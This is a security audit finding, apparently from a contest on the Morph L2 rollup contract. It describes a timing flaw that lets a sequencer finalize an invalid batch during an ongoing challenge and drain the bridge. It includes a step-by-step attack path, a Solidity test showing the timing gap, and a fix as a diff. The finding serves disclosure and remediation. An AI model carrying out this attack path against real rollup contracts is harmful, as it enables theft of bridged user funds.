Shambolic Banana Barbel

High

# Any sequencer can finalize arbitrary L2 blocks by committing during a challenge period

### Summary

The ability for new batches to be committed with the normal finalization period while the contract is `inChallenge` allows for new batches to be finalized without any challenge period. This can be used to finalize a block with an arbitrary withdrawal root, which allows an attacker to steal all funds from the bridge.

### Root Cause

In `Rollup.sol`, any sequencer can propose a new batch by calling `commitBatch()`. The system then allows [finalizationPeriodSeconds (1 day) for another user to challenge](https://github.com/sherlock-audit/2024-08-morphl2/blob/main/morph/contracts/contracts/l1/rollup/Rollup.sol#L298-L305), which would require them to provide a ZK proof of their state transition. Otherwise, they can finalize the batch and progress the chain.

When a challenge is underway, the `inChallenge` boolean is flipped to true. In this situation, another challenge can not be started until the first is resolved ([see code here](https://github.com/sherlock-audit/2024-08-morphl2/blob/main/morph/contracts/contracts/l1/rollup/Rollup.sol#L368)).
```solidity
function challengeState(uint64 batchIndex) external payable onlyChallenger nonReqRevert whenNotPaused {
    require(!inChallenge, "already in challenge");
    ...
}
```
In order to ensure that this doesn't give us the ability to finalize previous batches, the timestamp at which all previous batches can be finalized is incremented by `proofWindow` (2 days).

As an example, if we have pending batches 100 and 101, and then batch 102 is challenged, then batch 102 has `proofWindow` (2 days) to submit the proof, while batches 100 and 101 are locked for an additional `proofWindow` (2 days), so they can't be finalized until 102 is out of their challenge window.

However, this additional time is only allocated to previously committed batches. Any new batches that are proposed after the challenge are allowed to progress as normal, with only `finalizationPeriodSeconds` (1 day) until they can be finalized.

We therefore have a situation where the subsequent block will be ready to be finalized with no additional challenge period when the currently challenged block is resolved.

### Internal Preconditions

1. `finalizationPeriodSeconds` must be less than `proofWindow` (it explicitly is, because if not, other problems emerge).
2. We must have a moment where there is currently one or less pending batches.

### External Preconditions

None

### Attack Path

1. The attacker proposes a valid batch which we'll call Batch 0. Let's say it started at Day 0, so can be finalized at Day 1.
2. The attacker challenges their own Batch 0, which sets the earliest time the challenger can win to start time (Day 0) plus `proofWindow` (2 days) = Day 2.
3. The attacker immediately commits to Batch 1, which is invalid. For example, Batch 1 could include a withdrawal root that gives the attack call funds in the chain. This will set the finalization time for Batch 1 to Day 1.
4. Nobody can challenge Batch 1, because a challenge is already underway.
5. Once Day 1 passes, Batch 0 can be verified with a valid ZK proof.
6. In the same transaction that Batch 0 is verified, the attacker will be able to call `finalizeBatch()` on Batch 1, and since it is not in a challenge period and the previous batch was finalized, it will be accepted.

### Impact

An attacker can finalize an invalid batch to steal all funds from the bridge.

### PoC

The following test can be added to `Rollup.t.sol` to demonstrate the attack:
```solidity
function testPapa_commitAfterChallenge() external {
    // set accurate proof window and finalization seconds
    hevm.startPrank(multisig);
    rollup.updateProofWindow(2 days);
    rollup.updateFinalizePeriodSeconds(1 days);
    hevm.stopPrank();

    // import genesis batch first
    bytes memory batchHeader0 = new bytes(249);
    assembly {
        mstore(add(batchHeader0, add(0x20, 25)), 1)
        mstore(add(batchHeader0, add(0x20, 57)), 0x010657f37554c781402a22917dee2f75def7ab966d7b770905398eba3c444014)
        mstore(add(batchHeader0, add(0x20, 121)), 1) // postStateRoot
        mstore(add(batchHeader0, add(0x20, 217)), 0) // parentBatchHash
    }
    hevm.prank(multisig);
    rollup.importGenesisBatch(batchHeader0);

    // create and commit batch 1
    hevm.startPrank(alice);

    bytes[] memory chunks = new bytes[](1);
    bytes memory chunk0;
    chunk0 = new bytes(1 + 60);
    chunk0[0] = bytes1(uint8(1)); // one block in this chunk
    chunks[0] = chunk0;

    batchDataInput = IRollup.BatchDataInput(
        0,
        batchHeader0,
        chunks,
        new bytes(0),
        stateRoot,
        stateRoot,
        getTreeRoot()
    );
    hevm.deal(address(0), 10 ether);
    rollup.commitBatch(batchDataInput, batchSignatureInput);
    hevm.stopPrank();

    // challenge batch 1
    hevm.prank(multisig);
    rollup.addChallenger(address(420));

    hevm.startPrank(address(420));
    hevm.deal(address(420), 10 ether);
    rollup.challengeState{value: l1Staking.challengeDeposit()}(1);
    hevm.stopPrank();

    // we now have until end of proof window to prove
    (uint64 batch1StartTime,,,,,) = rollup.challenges(1);
    uint batch1ProofWindowEnd = batch1StartTime + rollup.proofWindow();

    // reconstruct batch header 1 to commit batch 2
    bytes memory batchHeader1 = new bytes(249);
    bytes32 batch0Hash = rollup.committedBatches(0);
    bytes32 withdrawalRootHash = getTreeRoot();
    bytes32 seqSetVerifyHash = keccak256(batchSignatureInput.sequencerSets);
    (bytes32 chunkHash, ) = rollup._commitChunk(chunk0, 0, 0, new bytes(0));
    bytes32 l1DataHash = keccak256(abi.encodePacked(chunkHash));
    assembly {
        mstore8(add(batchHeader1, add(0x20, 8)), 1)
        mstore(add(batchHeader1, add(0x20, 25)), l1DataHash) // data hash
        mstore(add(batchHeader1, add(0x20, 57)), 0x010657f37554c781402a22917dee2f75def7ab966d7b770905398eba3c444014)
        mstore(add(batchHeader1, add(0x20, 89)), 1) // prevStateRoot
        mstore(add(batchHeader1, add(0x20, 121)), 1) // postStateRoot
        mstore(add(batchHeader1, add(0x20, 153)), withdrawalRootHash) // withdrawal root hash
        mstore(add(batchHeader1, add(0x20, 185)), seqSetVerifyHash) // sequencer set verify hash
        mstore(add(batchHeader1, add(0x20, 217)), batch0Hash) // parentBatchHash
    }

    // commit batch 2
    hevm.startPrank(alice);
    batchDataInput = IRollup.BatchDataInput(
        0,
        batchHeader1,
        chunks,
        new bytes(0),
        stateRoot,
        stateRoot,
        getTreeRoot()
    );
    rollup.commitBatch(batchDataInput, batchSignatureInput);
    hevm.stopPrank();

    // the new batch can now be finalized before the proof window ends
    (, uint256 batch2FinalizeTimestamp,,) = rollup.batchDataStore(2);
    console.log(batch1ProofWindowEnd); // 172801
    console.log(batch2FinalizeTimestamp); // 86401

    assert(batch2FinalizeTimestamp < batch1ProofWindowEnd);
}
```

### Mitigation

If we are `inChallenge`, new batches should be created with a `finalizeTimestamp` that is extended by `proofWindow`, instead of the normal value.

```diff
  // storage batch data for challenge status check
+ uint256 finalizeTimestamp = block.timestamp + finalizationPeriodSeconds;
+ if (inChallenge) finalizeTimestamp += proofWindow;

  batchDataStore[_batchIndex] = BatchData(
      block.timestamp,
-     block.timestamp + finalizationPeriodSeconds,
+     finalizeTimestamp,
      _loadL2BlockNumber(batchDataInput.chunks[_chunksLength - 1]),
      // Before BLS is implemented, the accuracy of the sequencer set uploaded by rollup cannot be guaranteed.
      // Therefore, if the batch is successfully challenged, only the submitter will be punished.
      IL1Staking(l1StakingContract).getStakerBitmap(_msgSender()) // => batchSignature.signedSequencersBitmap
);
```
